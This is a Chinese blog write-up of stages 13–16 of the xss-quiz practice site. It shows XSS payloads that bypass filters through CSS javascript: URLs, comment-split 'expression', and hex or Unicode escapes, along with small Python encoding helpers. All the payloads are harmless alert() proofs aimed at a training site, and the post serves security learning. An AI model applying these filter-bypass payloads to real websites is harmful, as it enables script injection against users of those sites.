XSS漏洞-手动挖掘(五)

1.1 Stage 13 CSS的IE特性伪协议注入XSS

https://xss-quiz.int21h.jp/stage13_0.php?sid=1c9c607c40dc4863f84fe2bd8218c7ba4664721e

1.1.1 页面分析

图片[1]|XSS漏洞-手动挖掘(五)|leon的博客

1.1.1.1 分析过程

  1. 提示信息:样式属性
  2. 页面中提示让我们输入的信息是层叠样式表,所以我们使用层叠样式表的方式进行注入,输入的其它方式的文本信息不会被当做代码执行。

1.1.2 进行注入测试

1.1.2.1 构建payload

将背景颜色替换为urI,然后使用伪协议进行注入:

background:url("javascript:alert(document.domain);");

1.1.2.2 执行payload

图片[2]|XSS漏洞-手动挖掘(五)|leon的博客

源码中可以看到CSS成功调用了伪协议:

图片[3]|XSS漏洞-手动挖掘(五)|leon的博客

1.2 Stage 14 通过CSS的内联注释注入XSS

https://xss-quiz.int21h.jp/stage-_-14.php?sid=0ff1923d41a6dc1a008e24017e537e39f85c2446

1.2.1 页面分析

图片[4]|XSS漏洞-手动挖掘(五)|leon的博客

1.2.1.1 分析过程

  1. 提示信息:s/(url|script|eval|expression)/xxx/ig; 将url,script,eval,expression都替换为了xxx;
  2. 解决方式就是寻找黑名单之外的关键字,但是我们可以使用注释绕过对名单的检测;

1.2.2 通过内联注释进行注入测试

1.2.2.1 构建payload

leon:expr/**/ession(alert(document.domain));

1.2.2.2 执行payload

图片[5]|XSS漏洞-手动挖掘(五)|leon的博客

成功弹出消息,但是存在一个问题,在CSS中注入以后网站会不停的给我们弹框,所以我们需要修改一下payload使网站只弹一次。

1.2.3 优化内联注释payload

1.2.3.1 构建payload

判断语句可以理解为如果window.x不成立则执行{}内的代码:

第一次执行时,window.x为空,所以if语句成立,当{}内容执行一次后,对window.x赋值为1;

第二次执行时,windows.x=1,所以if条件不成立,此时{}代码不会再执行。

leon:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})

1.2.3.2 执行payload

图片[6]|XSS漏洞-手动挖掘(五)|leon的博客

1.3 Stage 15 十六进制编码绕过过滤XSS注入

https://xss-quiz.int21h.jp/stage__15.php?sid=e0c7306f7286a6f77795db6846f64261809b16ac

1.3.1 页面分析

图片[7]|XSS漏洞-手动挖掘(五)|leon的博客

1.3.1.1 分析过程

  1. 输入的信息会在页面下方的黑色文本框中显示

1.3.1.2 尝试注入

"><script>alert(document.domain)</script>

可以看到输入的双引号和尖括号全部转义为了编码实体字符:

图片[8]|XSS漏洞-手动挖掘(五)|leon的博客

1.3.2 使用十六进制编码进行绕过注入

1.3.2.1 使用python脚本进行16进制转换

# vim decoder_hex.py
import sys
import binascii
def get_data(str_data):
    list_data = list(str_data)
    if len(list_data) > 1:
        a = [b'\\x'+binascii.b2a_hex(str_data.encode()) for str_data in list_data]
        data = zip(list_data,a)
        for i,y in data:
            print(i,' 的结果为:',y.decode())
        b = b''.join(a)
        print(str_data,'最终结果为:',b.decode())
    else:
        a = [b'\\x'+binascii.b2a_hex(str_data.encode()) for str_data in list_data]
        b = b''.join(a)
        print(str_data,'最终结果为:',b.decode())
if __name__ == '__main__':
    while True:
        str_data = input('请输入需要转换的字符或字符串(输入exit退出):')
        if str_data == 'exit':
            break
        get_data(str_data)

1.3.2.2 进行16进制转码

# python3 decoder_hex.py
请输入需要转换的字符或字符串(输入exit退出):<>
<  的结果为: \x3c
>  的结果为: \x3e
<> 最终结果为: \x3c\x3e
请输入需要转换的字符或字符串(输入exit退出):exit

1.3.2.3 构建payload

\x3cscript\x3ealert(document.domain)\x3c/script\x3e

1.3.2.4 执行payload

我们发现执行完成后\被吃掉了:

图片[9]|XSS漏洞-手动挖掘(五)|leon的博客

1.3.2.5 优化payload

\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e

1.3.2.6 重新执行payload

图片[10]|XSS漏洞-手动挖掘(五)|leon的博客

图片[11]|XSS漏洞-手动挖掘(五)|leon的博客

1.4 Stage 16 Unicode编码绕过关键词XSS注入

https://xss-quiz.int21h.jp/stage00000016.php?sid=7e376579a761ef96c858230ec2bc390110a7f8ea

1.4.1 搭建本地关卡

XSS漏洞-手动挖掘(四)1.3.1章节

1.4.2 页面分析

图片[12]|XSS漏洞-手动挖掘(五)|leon的博客

1.4.2.1 分析过程

  • 提示信息:将\\x替换成\\\\x

1.4.2.2 尝试注入

\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e

代码并没有被成功执行,分析源码:

图片[13]|XSS漏洞-手动挖掘(五)|leon的博客

可以看到payload中的\x3c和\x3e还是原本的字符串并没有被识别为<>尖括号,虽然最终浏览器在pre中识别为\x3c和\x3e但是代码还是没有执行。

1.4.3 使用unicode编码进行绕过注入

1.4.3.1 使用python脚本进行unicode转码

# vim decoder_unicode.py
import sys
import binascii
def get_data(str_data):
    list_data = list(str_data)
    if len(list_data) > 1:
        a = [b'\\u00'+binascii.b2a_hex(str_data.encode()) for str_data in list_data]
        data = zip(list_data,a)
        for i,y in data:
            print(i,' 的结果为:',y.decode())
        b = b''.join(a)
        print(str_data,'最终结果为:',b.decode())
    else:
        a = [b'\\u00'+binascii.b2a_hex(str_data.encode()) for str_data in list_data]
        b = b''.join(a)
        print(str_data,'最终结果为:',b.decode())
if __name__ == '__main__':
    while True:
        str_data = input('请输入需要转换的字符或字符串(输入exit退出):')
        if str_data == 'exit':
            break
        get_data(str_data)

1.4.3.2 进行unicode转换

# python3 decoder_unicode.py
请输入需要转换的字符或字符串(输入exit退出):<>
<  的结果为: \u003c
>  的结果为: \u003e
<> 最终结果为: \u003c\u003e
请输入需要转换的字符或字符串(输入exit退出):exit

1.4.3.3 构建payload

\\u003cscript\\u003ealert(document.domain)\\u003c/script\\u003e

1.4.3.4 执行payload

图片[14]|XSS漏洞-手动挖掘(五)|leon的博客

可以看到\\u003c成功转换成了\\u003c 而且代码被正常识别并执行:

图片[15]|XSS漏洞-手动挖掘(五)|leon的博客

温馨提示:本文最后更新于2022-12-20 20:57:35,已超过465天没有更新。某些文章具有时效性,若文章内容或图片资源有错误或已失效,请联系站长。谢谢!
转载请注明本文链接:https://blog.leonshadow.cn/763482/2650.html
© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享